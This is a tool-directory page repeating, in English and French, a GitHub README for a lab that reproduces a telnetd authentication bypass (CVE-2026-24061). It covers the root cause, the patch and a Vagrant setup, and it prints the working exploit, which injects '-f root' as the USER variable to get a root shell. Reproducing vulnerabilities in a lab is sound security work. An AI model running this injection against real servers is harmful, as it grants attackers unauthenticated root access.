Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061-lab — Reproduction lab for CVE-2026-24061, an authentication bypass in GNU InetUtils telnetd. Provides a Vagrant-based isolated environment and step-by-step exploitation instructions to demonstrate the root shell access. | Kitploit
Tools/GitHubGitHub/akpmarcelin/cve-2026-24061-lab
Vulnerability AnalysisExploitationPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubakpmarcelin/cve-2026-24061-lab

CVE-2026-24061-lab

Reproduction lab for CVE-2026-24061, an authentication bypass in GNU InetUtils telnetd. Provides a Vagrant-based isolated environment and step-by-step exploitation instructions to demonstrate the root shell access.

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061 — Reproduction Lab

⚠️ For educational purposes only. Isolated lab environment.

Français ci-dessous


Summary

Critical authentication bypass (CVSS 9.8) in GNU InetUtils telnetd ≤ 2.7. By injecting -f root as the USER variable via the Telnet NEW_ENVIRON option, an unauthenticated attacker can obtain a root shell without any password.

Root Cause

The USER variable received from the client during Telnet negotiation is passed directly to /usr/bin/login without sanitization:

root@kitploit:~
/usr/bin/login -p -f root

The -f flag tells login to skip password verification for the given user. This behavior is documented in RFC 1572 (Section 7) as a known risk — yet the bug was present in inetutils for over a decade.

Affected Versions

GNU InetUtils telnetd 1.9.3 through 2.7

Patch

Upgrade to GNU InetUtils ≥ 2.7-2

Lab Setup

This lab uses Vagrant to provision a real isolated VM running the vulnerable version of telnetd (inetutils 2.5, compiled from source), making it as close as possible to a real environment.

Requirements: Vagrant + VirtualBox installed on your machine.

root@kitploit:~
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up

The VM starts with IP 192.168.56.10 and telnetd listening on port 23.

Lab provisioned

Exploitation

From your host machine:

root@kitploit:~
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23

The USER variable is injected via the NEW_ENVIRON Telnet option during the negotiation phase — before the login prompt appears.

Connected to VM Root shell obtained

References

  • NVD — CVE-2026-24061
  • RFC 1572 — Telnet Environment Option
  • GNU InetUtils source — telnetd/sys_term.c

Author

Agokoli



CVE-2026-24061 — Lab de démonstration

⚠️ Usage éducatif uniquement. Environnement isolé.

English above


Résumé

Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7. En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON, un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.

Cause racine

La variable USER reçue du client pendant la négociation Telnet est passée directement à /usr/bin/login sans validation :

root@kitploit:~
/usr/bin/login -p -f root

Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné. Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté présent dans inetutils pendant plus d'une décennie.

Versions affectées

GNU InetUtils telnetd 1.9.3 à 2.7

Correctif

Mettre à jour vers GNU InetUtils ≥ 2.7-2

Mise en place du lab

Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.

Prérequis : Vagrant + VirtualBox installés sur votre machine.

root@kitploit:~
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up

La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Lab provisionné

Exploitation

Depuis votre machine hôte :

root@kitploit:~
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23

La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant la phase de négociation — avant même l'apparition du prompt login:.

Connexion à la VM Shell root obtenu

Références

  • NVD — CVE-2026-24061
  • RFC 1572 — Telnet Environment Option
  • Code source GNU InetUtils — telnetd/sys_term.c

Auteur

Agokoli

Download Tool